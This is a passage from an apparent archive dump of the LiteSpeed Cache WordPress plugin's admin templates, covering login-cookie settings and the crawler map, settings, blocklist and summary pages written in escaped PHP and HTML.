			<?php esc_html_e( 'If every web application uses the same cookie, the server may confuse whether a user is logged in or not.', 'litespeed-cache' ); ?>
			<?php esc_html_e( 'The cookie set here will be used for this WordPress installation.', 'litespeed-cache' ); ?>
			<br />
			<?php esc_html_e( 'Example use case:', 'litespeed-cache' ); ?><br />
			<?php
			printf(
				/* translators: %s: Example domain */
				esc_html__( 'There is a WordPress installed for %s.', 'litespeed-cache' ),
				'<u>www.example.com</u>'
			);
			?>
			<br />
			<?php
			printf(
				/* translators: %s: Example subdomain */
				esc_html__( 'Then another WordPress is installed (NOT MULTISITE) at %s', 'litespeed-cache' ),
				'<u>www.example.com/blog/</u>'
			);
			?>
			<?php esc_html_e( 'The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.', 'litespeed-cache' ); ?><br />
			<?php Doc::notice_htaccess(); ?>
		</div>

		<?php if ( preg_match( '#[^\w\-]#', $this->conf( $option_id ) ) ) : ?>
			<div class="litespeed-callout notice notice-error inline">
				<p>❌ <?php esc_html_e( 'Invalid login cookie. Invalid characters found.', 'litespeed-cache' ); ?></p>
			</div>
		<?php endif; ?>

		<?php
		if ( defined( 'LITESPEED_ON' ) && $this->conf( $option_id ) ) {
			$cookie_rule = '';
			try {
				$cookie_rule = Htaccess::cls()->current_login_cookie();
			} catch ( \Exception $e ) {
				?>
				<div class="litespeed-callout notice notice-error inline">
					<p><?php echo esc_html( $e->getMessage() ); ?></p>
				</div>
				<?php
			}

			$cookie_arr = explode( ',', $cookie_rule );
			if ( ! in_array( $this->conf( $option_id ), $cookie_arr, true ) ) {
				?>
				<div class="litespeed-callout notice notice-warning inline">
					<p><?php esc_html_e( 'WARNING: The .htaccess login cookie and Database login cookie do not match.', 'litespeed-cache' ); ?></p>
				</div>
				<?php
			}
		}
		?>
	</td>
</tr>

<tr>
	<th scope="row">
		<?php $option_id = Base::O_CACHE_VARY_COOKIES; ?>
		<?php $this->title( $option_id ); ?>
	</th>
	<td>
		<?php $this->build_textarea( $option_id, 50 ); ?>
		<?php $this->_validate_syntax( $option_id ); ?>
		<div class="litespeed-desc">
			<?php esc_html_e( 'SYNTAX: alphanumeric and "_". No spaces and case sensitive.', 'litespeed-cache' ); ?>
			<br />
			<?php esc_html_e( 'You can list the 3rd party vary cookies here.', 'litespeed-cache' ); ?>
			<br />
			<?php Doc::notice_htaccess(); ?>
		</div>
	</td>
</tr>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/crawler/map.tpl.php000064400000010172151031165260020612 0ustar00<?php
/**
 * LiteSpeed Cache Crawler Sitemap List
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$crawler_summary = Crawler::get_summary();
$__map           = Crawler_Map::cls();
$list            = $__map->list_map( 30 );
$count           = $__map->count_map();
$pagination      = Utility::pagination( $count, 30 );
$kw              = '';
if (! empty( $_POST['kw'] ) && ! empty( $_POST['_wpnonce'] )) {
	$nonce = sanitize_text_field(wp_unslash($_POST['_wpnonce']));
	if (wp_verify_nonce($nonce)) {
		$kw = sanitize_text_field(wp_unslash($_POST['kw']));
	}
}
?>

<p class="litespeed-right">
	<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CRAWLER, Crawler::TYPE_EMPTY ) ); ?>" class="button litespeed-btn-warning">
		<?php esc_html_e( 'Clean Crawler Map', 'litespeed-cache' ); ?>
	</a>
	<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CRAWLER, Crawler::TYPE_REFRESH_MAP ) ); ?>" class="button button-secondary">
		<?php esc_html_e( 'Refresh Crawler Map', 'litespeed-cache' ); ?>
	</a>
</p>

<p>
	<?php
	if ( ! empty( $crawler_summary['sitemap_time'] ) ) {
		printf(
			esc_html__( 'Generated at %s', 'litespeed-cache' ),
			esc_html( Utility::readable_time( $crawler_summary['sitemap_time'] ) )
		);
	}
	?>
</p>

<h3 class="litespeed-title">
	<?php esc_html_e( 'Sitemap List', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/crawler/#map-tab' ); ?>
</h3>

<?php echo esc_html__( 'Sitemap Total', 'litespeed-cache' ) . ': ' . esc_html( $count ); ?>

<div style="display: flex; justify-content: space-between;">
	<div style="margin-top:10px;">
		<form action="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-crawler' ) ); ?>" method="post">
		<?php wp_nonce_field(); ?>
			<input type="text" name="kw" value="<?php echo esc_attr( $kw ); ?>" placeholder="<?php esc_attr_e( 'URL Search', 'litespeed-cache' ); ?>" style="width: 600px;" />
		</form>
	</div>
	<div>
		<a style="padding-right:10px;" href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-crawler&' . Router::TYPE . '=hit' ) ); ?>"><?php esc_html_e( 'Cache Hit', 'litespeed-cache' ); ?></a>
		<a style="padding-right:10px;" href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-crawler&' . Router::TYPE . '=miss' ) ); ?>"><?php esc_html_e( 'Cache Miss', 'litespeed-cache' ); ?></a>
		<a style="padding-right:10px;" href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-crawler&' . Router::TYPE . '=blacklisted' ) ); ?>"><?php esc_html_e( 'Blocklisted', 'litespeed-cache' ); ?></a>
	</div>
	<div>
		<?php echo wp_kses_post( $pagination ); ?>
	</div>
</div>

<div class="litespeed-table-responsive">
	<table class="wp-list-table widefat striped">
		<thead>
			<tr>
				<th scope="col">#</th>
				<th scope="col"><?php esc_html_e( 'URL', 'litespeed-cache' ); ?></th>
				<th scope="col"><?php esc_html_e( 'Crawler Status', 'litespeed-cache' ); ?></th>
				<th scope="col"><?php esc_html_e( 'Operation', 'litespeed-cache' ); ?></th>
			</tr>
		</thead>
		<tbody>
			<?php foreach ( $list as $i => $v ) : ?>
				<tr>
					<td><?php echo esc_html( $i + 1 ); ?></td>
					<td><?php echo esc_html( $v['url'] ); ?></td>
					<td><?php echo wp_kses_post( Crawler::cls()->display_status( $v['res'], $v['reason'] ) ); ?></td>
					<td>
						<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CRAWLER, Crawler::TYPE_BLACKLIST_ADD, false, null, array( 'id' => $v['id'] ) ) ); ?>" class="button button-secondary">
							<?php esc_html_e( 'Add to Blocklist', 'litespeed-cache' ); ?>
						</a>
					</td>
				</tr>
			<?php endforeach; ?>
		</tbody>
	</table>
</div>

<?php echo wp_kses_post( $pagination ); ?>

<p>
	<i class="litespeed-dot litespeed-bg-success"></i> = <?php esc_html_e( 'Cache Hit', 'litespeed-cache' ); ?><br>
	<i class="litespeed-dot litespeed-bg-primary"></i> = <?php esc_html_e( 'Cache Miss', 'litespeed-cache' ); ?><br>
	<i class="litespeed-dot litespeed-bg-warning"></i> = <?php esc_html_e( 'Blocklisted due to not cacheable', 'litespeed-cache' ); ?><br>
	<i class="litespeed-dot litespeed-bg-danger"></i> = <?php esc_html_e( 'Blocklisted', 'litespeed-cache' ); ?><br>
</p>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/crawler/entry.tpl.php000064400000002173151031165260021200 0ustar00<?php
/**
 * LiteSpeed Cache Crawler Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$menu_list = [
	'summary'   => esc_html__( 'Summary', 'litespeed-cache' ),
	'map'       => esc_html__( 'Map', 'litespeed-cache' ),
	'blacklist' => esc_html__( 'Blocklist', 'litespeed-cache' ),
	'settings'  => esc_html__( 'Settings', 'litespeed-cache' ),
];
?>

<div class="wrap">
	<h1 class="litespeed-h1">
		<?php esc_html_e( 'LiteSpeed Cache Crawler', 'litespeed-cache' ); ?>
	</h1>
	<span class="litespeed-desc">
		<?php echo esc_html( 'v' . Core::VER ); ?>
	</span>
	<hr class="wp-header-end">
</div>

<div class="litespeed-wrap">
	<h2 class="litespeed-header nav-tab-wrapper">
		<?php GUI::display_tab_list( $menu_list ); ?>
	</h2>

	<div class="litespeed-body">
		<?php
		foreach ( $menu_list as $menu_key => $menu_value ) {
			printf(
				'<div data-litespeed-layout="%s">',
				esc_attr( $menu_key )
			);
			require LSCWP_DIR . "tpl/crawler/$menu_key.tpl.php";
			echo '</div>';
		}
		?>
	</div>
</div>

<iframe name="litespeedHiddenIframe" src="" width="0" height="0" frameborder="0"></iframe>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/crawler/settings.tpl.php000064400000014144151031165260021700 0ustar00<?php
/**
 * LiteSpeed Cache Crawler General Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$this->form_action();
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Crawler General Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/crawler/#general-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_CRAWLER; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'This will enable crawler cron.', 'litespeed-cache' ); ?>
					<br><?php Doc::notice_htaccess(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CRAWLER_CRAWL_INTERVAL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id ); ?> <?php esc_html_e( 'seconds', 'litespeed-cache' ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.', 'litespeed-cache' ); ?>
					<?php $this->recommended( $option_id ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CRAWLER_SITEMAP; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here.', 'litespeed-cache' ); ?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CRAWLER_LOAD_LIMIT; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.', 'litespeed-cache' ); ?>
					<?php if ( ! empty( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE ] ) ) : ?>
						<span class="litespeed-warning">
							<?php esc_html_e( 'NOTE', 'litespeed-cache' ); ?>:
							<?php
							printf(
								esc_html__( 'Server enforced value: %s', 'litespeed-cache' ),
								'<code>' . esc_html( sanitize_text_field( wp_unslash( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE ] ) ) ) . '</code>'
							);
							?>
						</span>
					<?php elseif ( ! empty( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT ] ) ) : ?>
						<span class="litespeed-warning">
							<?php esc_html_e( 'NOTE', 'litespeed-cache' ); ?>:
							<?php
							printf(
								esc_html__( 'Server allowed max value: %s', 'litespeed-cache' ),
								'<code>' . esc_html( sanitize_text_field( wp_unslash( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT ] ) ) ) . '</code>'
							);
							?>
						</span>
					<?php endif; ?>
					<br>
					<?php $this->_api_env_var( Base::ENV_CRAWLER_LOAD_LIMIT, Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CRAWLER_ROLES; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id, 20 ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'To crawl the site as a logged-in user, enter the user ids to be simulated.', 'litespeed-cache' ); ?>
					<?php Doc::one_per_line(); ?>
					<?php if ( empty( $this->conf( Base::O_SERVER_IP ) ) ) : ?>
						<div class="litespeed-danger litespeed-text-bold">
							🚨 <?php esc_html_e( 'NOTICE', 'litespeed-cache' ); ?>:
							<?php
							printf(
								esc_html__( 'You must set %s before using this feature.', 'litespeed-cache' ),
								esc_html( Lang::title( Base::O_SERVER_IP ) )
							);
							?>
							<?php
							Doc::learn_more(
								esc_url( admin_url( 'admin.php?page=litespeed-general#settings' ) ),
								esc_html__( 'Click here to set.', 'litespeed-cache' ),
								true,
								false,
								true
							);
							?>
						</div>
					<?php endif; ?>
					<?php if ( empty( $this->conf( Base::O_ESI ) ) ) : ?>
						<div class="litespeed-danger litespeed-text-bold">
							🚨 <?php esc_html_e( 'NOTICE', 'litespeed-cache' ); ?>:
							<?php
							printf(
								esc_html__( 'You must set %1$s to %2$s before using this feature.', 'litespeed-cache' ),
								esc_html( Lang::title( Base::O_ESI ) ),
								esc_html__( 'ON', 'litespeed-cache' )
							);
							?>
							<?php
							Doc::learn_more(
								esc_url( admin_url( 'admin.php?page=litespeed-cache#esi' ) ),
								esc_html__( 'Click here to set.', 'litespeed-cache' ),
								true,
								false,
								true
							);
							?>
						</div>
					<?php endif; ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CRAWLER_COOKIES; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->enroll( $option_id . '[name][]' ); ?>
				<?php $this->enroll( $option_id . '[vals][]' ); ?>
				<div id="litespeed_crawler_simulation_div"></div>
				<script type="text/babel">
					ReactDOM.render(
						<CrawlerSimulate list={ <?php echo wp_json_encode( $this->conf( $option_id ) ); ?> } />,
						document.getElementById( 'litespeed_crawler_simulation_div' )
					);
				</script>
				<div class="litespeed-desc">
					<?php esc_html_e( 'To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role.', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/crawler/#cookie-simulation' ); ?>
					<p>
						<?php
						printf(
							esc_html__( 'Use %1$s in %2$s to indicate this cookie has not been set.', 'litespeed-cache' ),
							'<code>_null</code>',
							esc_html__( 'Cookie Values', 'litespeed-cache' )
						);
						?>
					</p>
				</div>
			</td>
		</tr>
	</tbody>
</table>

<?php $this->form_end(); ?>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/crawler/blacklist.tpl.php000064400000006017151031165260022010 0ustar00<?php
/**
 * LiteSpeed Cache Crawler Blocklist
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$crawler_summary = Crawler::get_summary();
$__map           = Crawler_Map::cls();
$__admin_display = Admin_Display::cls();
$list            = $__map->list_blacklist( 30 );
$count           = $__map->count_blacklist();
$pagination      = Utility::pagination( $count, 30 );
?>

<p class="litespeed-right">
	<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CRAWLER, Crawler::TYPE_BLACKLIST_EMPTY ) ); ?>" class="button litespeed-btn-warning" data-litespeed-cfm="<?php esc_attr_e( 'Are you sure to delete all existing blocklist items?', 'litespeed-cache' ); ?>">
		<?php esc_html_e( 'Empty blocklist', 'litespeed-cache' ); ?>
	</a>
</p>

<h3 class="litespeed-title">
	<?php esc_html_e( 'Blocklist', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/crawler/#blocklist-tab' ); ?>
</h3>

<?php echo esc_html__( 'Total', 'litespeed-cache' ) . ': ' . esc_html( $count ); ?>

<?php echo wp_kses_post( $pagination ); ?>

<div class="litespeed-table-responsive">
	<table class="wp-list-table widefat striped">
		<thead>
			<tr>
				<th scope="col">#</th>
				<th scope="col"><?php esc_html_e( 'URL', 'litespeed-cache' ); ?></th>
				<th scope="col"><?php esc_html_e( 'Status', 'litespeed-cache' ); ?></th>
				<th scope="col"><?php esc_html_e( 'Operation', 'litespeed-cache' ); ?></th>
			</tr>
		</thead>
		<tbody>
			<?php foreach ( $list as $i => $v ) : ?>
			<tr>
				<td><?php echo esc_html( $i + 1 ); ?></td>
				<td><?php echo esc_html( $v['url'] ); ?></td>
				<td><?php echo wp_kses_post( Crawler::cls()->display_status( $v['res'], $v['reason'] ) ); ?></td>
				<td>
					<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CRAWLER, Crawler::TYPE_BLACKLIST_DEL, false, null, array( 'id' => $v['id'] ) ) ); ?>" class="button button-secondary">
						<?php esc_html_e( 'Remove from Blocklist', 'litespeed-cache' ); ?>
					</a>
				</td>
			</tr>
			<?php endforeach; ?>
		</tbody>
	</table>
</div>

<?php echo wp_kses_post( $pagination ); ?>

<p>
	<span class="litespeed-success">
		<?php
		printf(
			esc_html__( 'API: PHP Constant %s available to disable blocklist.', 'litespeed-cache' ),
			'<code>LITESPEED_CRAWLER_DISABLE_BLOCKLIST</code>'
		);
		?>
	</span>
</p>
<p>
	<span class="litespeed-success">
		<?php
		printf(
			esc_html__( 'API: Filter %s available to disable blocklist.', 'litespeed-cache' ),
			'<code>add_filter( \'litespeed_crawler_disable_blocklist\', \'__return_true\' );</code>'
		);
		?>
	</span>
</p>
<?php $__admin_display->_check_overwritten( 'crawler-blocklist' ); ?>
<p>
	<i class="litespeed-dot litespeed-bg-default"></i> = <?php esc_html_e( 'Not blocklisted', 'litespeed-cache' ); ?><br>
	<i class="litespeed-dot litespeed-bg-warning"></i> = <?php esc_html_e( 'Blocklisted due to not cacheable', 'litespeed-cache' ); ?><br>
	<i class="litespeed-dot litespeed-bg-danger"></i> = <?php esc_html_e( 'Blocklisted', 'litespeed-cache' ); ?><br>
</p>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/crawler/summary.tpl.php000064400000044111151031165260021532 0ustar00<?php
/**
 * LiteSpeed Cache Crawler Summary
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$__crawler    = Crawler::cls();
$crawler_list = $__crawler->list_crawlers();
$summary      = Crawler::get_summary();

if ( $summary['curr_crawler'] >= count( $crawler_list ) ) {
	$summary['curr_crawler'] = 0;
}

$is_running = time() - $summary['is_running'] <= 900;

$disabled     = Router::can_crawl() ? '' : 'disabled';
$disabled_tip = '';
if ( ! $this->conf( Base::O_CRAWLER_SITEMAP ) ) {
	$disabled     = 'disabled';
	$disabled_tip = '<span class="litespeed-callout notice notice-error inline litespeed-left20">' . sprintf(
		esc_html__( 'You need to set the %s in Settings first before using the crawler', 'litespeed-cache' ),
		'<code>' . esc_html( Lang::title( Base::O_CRAWLER_SITEMAP ) ) . '</code>'
	) . '</span>';
}

$crawler_run_interval = defined( 'LITESPEED_CRAWLER_RUN_INTERVAL' ) ? LITESPEED_CRAWLER_RUN_INTERVAL : 600;
if ( $crawler_run_interval > 0 ) :
	$recurrence = '';
	$hours      = (int) floor( $crawler_run_interval / 3600 );
	if ( $hours ) {
		$recurrence .= sprintf(
			$hours > 1 ? esc_html__( '%d hours', 'litespeed-cache' ) : esc_html__( '%d hour', 'litespeed-cache' ),
			$hours
		);
	}
	$minutes = (int) floor( ( $crawler_run_interval % 3600 ) / 60 );
	if ( $minutes ) {
		$recurrence .= ' ';
		$recurrence .= sprintf(
			$minutes > 1 ? esc_html__( '%d minutes', 'litespeed-cache' ) : esc_html__( '%d minute', 'litespeed-cache' ),
			$minutes
		);
	}
?>

	<h3 class="litespeed-title litespeed-relative">
		<?php esc_html_e( 'Crawler Cron', 'litespeed-cache' ); ?>
		<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/crawler/' ); ?>
	</h3>

	<?php if ( ! Router::can_crawl() ) : ?>
		<div class="litespeed-callout notice notice-error inline">
			<h4><?php esc_html_e( 'WARNING', 'litespeed-cache' ); ?></h4>
			<p><?php esc_html_e( 'The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.', 'litespeed-cache' ); ?></p>
			<p>
				<?php
				printf(
					/* translators: %s: Link tags */
					esc_html__( 'See %sIntroduction for Enabling the Crawler%s for detailed information.', 'litespeed-cache' ),
					'<a href="https://docs.litespeedtech.com/lscache/lscwp/admin/#enabling-and-limiting-the-crawler" target="_blank" rel="noopener">',
					'</a>'
				);
				?>
			</p>
		</div>
	<?php endif; ?>

	<?php if ( $summary['this_full_beginning_time'] ) : ?>
		<p>
			<b><?php esc_html_e( 'Current sitemap crawl started at', 'litespeed-cache' ); ?>:</b>
			<?php echo esc_html( Utility::readable_time( $summary['this_full_beginning_time'] ) ); ?>
		</p>
		<?php if ( ! $is_running ) : ?>
			<p>
				<b><?php esc_html_e( 'The next complete sitemap crawl will start at', 'litespeed-cache' ); ?>:</b>
				<?php echo esc_html( gmdate( 'm/d/Y H:i:s', $summary['this_full_beginning_time'] + LITESPEED_TIME_OFFSET + (int) $summary['last_full_time_cost'] + $this->conf( Base::O_CRAWLER_CRAWL_INTERVAL ) ) ); ?>
			</p>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ( $summary['last_full_time_cost'] ) : ?>
		<p>
			<b><?php esc_html_e( 'Last complete run time for all crawlers', 'litespeed-cache' ); ?>:</b>
			<?php printf( esc_html__( '%d seconds', 'litespeed-cache' ), (int) $summary['last_full_time_cost'] ); ?>
		</p>
	<?php endif; ?>

	<?php if ( $summary['last_crawler_total_cost'] ) : ?>
		<p>
			<b><?php esc_html_e( 'Run time for previous crawler', 'litespeed-cache' ); ?>:</b>
			<?php printf( esc_html__( '%d seconds', 'litespeed-cache' ), (int) $summary['last_crawler_total_cost'] ); ?>
		</p>
	<?php endif; ?>

	<?php if ( $summary['curr_crawler_beginning_time'] ) : ?>
		<p>
			<b><?php esc_html_e( 'Current crawler started at', 'litespeed-cache' ); ?>:</b>
			<?php echo esc_html( Utility::readable_time( $summary['curr_crawler_beginning_time'] ) ); ?>
		</p>
	<?php endif; ?>

	<p>
		<b><?php esc_html_e( 'Current server load', 'litespeed-cache' ); ?>:</b>
		<?php echo esc_html( $__crawler->get_server_load() ); ?>
	</p>

	<?php if ( $summary['last_start_time'] ) : ?>
		<p class="litespeed-desc">
			<b><?php esc_html_e( 'Last interval', 'litespeed-cache' ); ?>:</b>
			<?php echo esc_html( Utility::readable_time( $summary['last_start_time'] ) ); ?>
		</p>
	<?php endif; ?>

	<?php if ( $summary['end_reason'] ) : ?>
		<p class="litespeed-desc">
			<b><?php esc_html_e( 'Ended reason', 'litespeed-cache' ); ?>:</b>
			<?php echo esc_html( $summary['end_reason'] ); ?>
		</p>
	<?php endif; ?>

	<?php if ( $summary['last_crawled'] ) : ?>
		<p class="litespeed-desc">
			<b><?php esc_html_e( 'Last crawled', 'litespeed-cache' ); ?>:</b>
			<?php
			printf(
				esc_html__( '%d item(s)', 'litespeed-cache' ),
				esc_html( $summary['last_crawled'] )
			);
			?>
		</p>
	<?php endif; ?>

	<p>
		<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CRAWLER, Crawler::TYPE_RESET ) ); ?>" class="button litespeed-btn-warning"><?php esc_html_e( 'Reset position', 'litespeed-cache' ); ?></a>
		<a href="<?php echo Router::can_crawl() ? esc_url( Utility::build_url( Router::ACTION_CRAWLER, Crawler::TYPE_START ) ) : 'javascript:;'; ?>" id="litespeed_manual_trigger" class="button litespeed-btn-success" litespeed-accesskey="R" <?php echo wp_kses_post( $disabled ); ?>><?php esc_html_e( 'Manually run', 'litespeed-cache' ); ?></a>
		<?php echo wp_kses_post( $disabled_tip ); ?>
	</p>

	<div class="litespeed-table-responsive">
		<table class="wp-list-table widefat striped" data-crawler-list>
			<thead>
				<tr>
					<th scope="col">#</th>
					<th scope="col"><?php esc_html_e( 'Cron Name', 'litespeed-cache' ); ?></th>
					<th scope="col"><?php esc_html_e( 'Run Frequency', 'litespeed-cache' ); ?></th>
					<th scope="col"><?php esc_html_e( 'Status', 'litespeed-cache' ); ?></th>
					<th scope="col"><?php esc_html_e( 'Activate', 'litespeed-cache' ); ?></th>
					<th scope="col"><?php esc_html_e( 'Running', 'litespeed-cache' ); ?></th>
				</tr>
			</thead>
			<tbody>
				<?php
				foreach ( $crawler_list as $i => $v ) :
					$hit          = ! empty( $summary['crawler_stats'][ $i ][ Crawler::STATUS_HIT ] ) ? (int) $summary['crawler_stats'][ $i ][ Crawler::STATUS_HIT ] : 0;
					$miss         = ! empty( $summary['crawler_stats'][ $i ][ Crawler::STATUS_MISS ] ) ? (int) $summary['crawler_stats'][ $i ][ Crawler::STATUS_MISS ] : 0;
					$blacklisted  = ! empty( $summary['crawler_stats'][ $i ][ Crawler::STATUS_BLACKLIST ] ) ? (int) $summary['crawler_stats'][ $i ][ Crawler::STATUS_BLACKLIST ] : 0;
					$blacklisted += ! empty( $summary['crawler_stats'][ $i ][ Crawler::STATUS_NOCACHE ] ) ? (int) $summary['crawler_stats'][ $i ][ Crawler::STATUS_NOCACHE ] : 0;
					$waiting      = isset( $summary['crawler_stats'][ $i ][ Crawler::STATUS_WAIT ] )
						? (int) $summary['crawler_stats'][ $i ][ Crawler::STATUS_WAIT ]
						: (int) ( $summary['list_size'] - $hit - $miss - $blacklisted );
				?>
					<tr>
						<td>
							<?php
							echo esc_html( $i + 1 );
							if ( $i === $summary['curr_crawler'] ) {
								echo '<img class="litespeed-crawler-curr" src="' . esc_url( LSWCP_PLUGIN_URL . 'assets/img/Litespeed.icon.svg' ) . '" alt="Current Crawler">';
							}
							?>
						</td>
						<td><?php echo wp_kses_post( $v['title'] ); ?></td>
						<td><?php echo esc_html( $recurrence ); ?></td>
						<td>
							<?php
							printf(
								'<i class="litespeed-badge litespeed-bg-default" data-balloon-pos="up" aria-label="%s">%s</i> ',
								esc_attr__( 'Waiting', 'litespeed-cache' ),
								esc_html( $waiting > 0 ? $waiting : '-' )
							);
							printf(
								'<i class="litespeed-badge litespeed-bg-success" data-balloon-pos="up" aria-label="%s">%s</i> ',
								esc_attr__( 'Hit', 'litespeed-cache' ),
								esc_html( $hit > 0 ? $hit : '-' )
							);
							printf(
								'<i class="litespeed-badge litespeed-bg-primary" data-balloon-pos="up" aria-label="%s">%s</i> ',
								esc_attr__( 'Miss', 'litespeed-cache' ),
								esc_html( $miss > 0 ? $miss : '-' )
							);
							printf(
								'<i class="litespeed-badge litespeed-bg-danger" data-balloon-pos="up" aria-label="%s">%s</i> ',
								esc_attr__( 'Blocklisted', 'litespeed-cache' ),
								esc_html( $blacklisted > 0 ? $blacklisted : '-' )
							);
							?>
						</td>
						<td>
							<?php $this->build_toggle( 'litespeed-crawler-' . $i, $__crawler->is_active( $i ) ); ?>
							<?php if ( ! empty( $v['uid'] ) && empty( $this->conf( Base::O_SERVER_IP ) ) ) : ?>
								<div class="litespeed-danger litespeed-text-bold">
									🚨 <?php esc_html_e( 'NOTICE', 'litespeed-cache' ); ?>:
									<?php
									printf(
										esc_html__( 'You must set %s before using this feature.', 'litespeed-cache' ),
										esc_html( Lang::title( Base::O_SERVER_IP ) )
									);
									?>
									<?php
									Doc::learn_more(
										esc_url( admin_url( 'admin.php?page=litespeed-general#settings' ) ),
										esc_html__( 'Click here to set.', 'litespeed-cache' ),
										true,
										false,
										true
									);
									?>
								</div>
							<?php endif; ?>
						</td>
						<td>
							<?php
							if ( $i === $summary['curr_crawler'] ) {
								echo esc_html__( 'Position: ', 'litespeed-cache' ) . esc_html( $summary['last_pos'] + 1 );
								if ( $is_running ) {
									echo ' <span class="litespeed-label-success">' . esc_html__( 'running', 'litespeed-cache' ) . '</span>';
								}
							}
							?>
						</td>
					</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
	</div>

	<p>
		<i class="litespeed-badge litespeed-bg-default"></i> = <?php esc_html_e( 'Waiting to be Crawled', 'litespeed-cache' ); ?><br>
		<i class="litespeed-badge litespeed-bg-success"></i> = <?php esc_html_e( 'Already Cached', 'litespeed-cache' ); ?><br>
		<i class="litespeed-badge litespeed-bg-primary"></i> = <?php esc_html_e( 'Successfully Crawled', 'litespeed-cache' ); ?><br>
		<i class="litespeed-badge litespeed-bg-danger"></i> = <?php esc_html_e( 'Blocklisted', 'litespeed-cache' ); ?><br>
	</p>

	<div class="litespeed-desc">
		<div><?php esc_html_e( 'Run frequency is set by the Interval Between Runs setting.', 'litespeed-cache' ); ?></div>
		<div>
			<?php
			esc_html_e( 'Crawlers cannot run concurrently. If both the cron and a manual run start at similar times, the first to be started will take precedence.', 'litespeed-cache' );
			?>
		</div>
		<div>
			<?php
			printf(
				/* translators: %s: Link tags */
				esc_html__( 'Please see %sHooking WP-Cron Into the System Task Scheduler%s to learn how to create the system cron task.', 'litespeed-cache' ),
				'<a href="https://developer.wordpress.org/plugins/cron/hooking-wp-cron-into-the-system-task-scheduler/" target="_blank" rel="noopener">',
				'</a>'
			);
			?>
		</div>
	</div>
<?php
endif;
?>

<h3 class="litespeed-title"><?php esc_html_e( 'Watch Crawler Status', 'litespeed-cache' ); ?></h3>

<?php
$ajax_url = $__crawler->json_path();
if ( $ajax_url ) :
?>
	<input type="button" id="litespeed-crawl-url-btn" value="<?php esc_attr_e( 'Show crawler status', 'litespeed-cache' ); ?>" class="button button-secondary" data-url="<?php echo esc_url( $ajax_url ); ?>" />
	<div class="litespeed-shell litespeed-hide">
		<div class="litespeed-shell-header-bar"></div>
		<div class="litespeed-shell-header">
			<div class="litespeed-shell-header-bg"></div>
			<div class="litespeed-shell-header-icon-container">
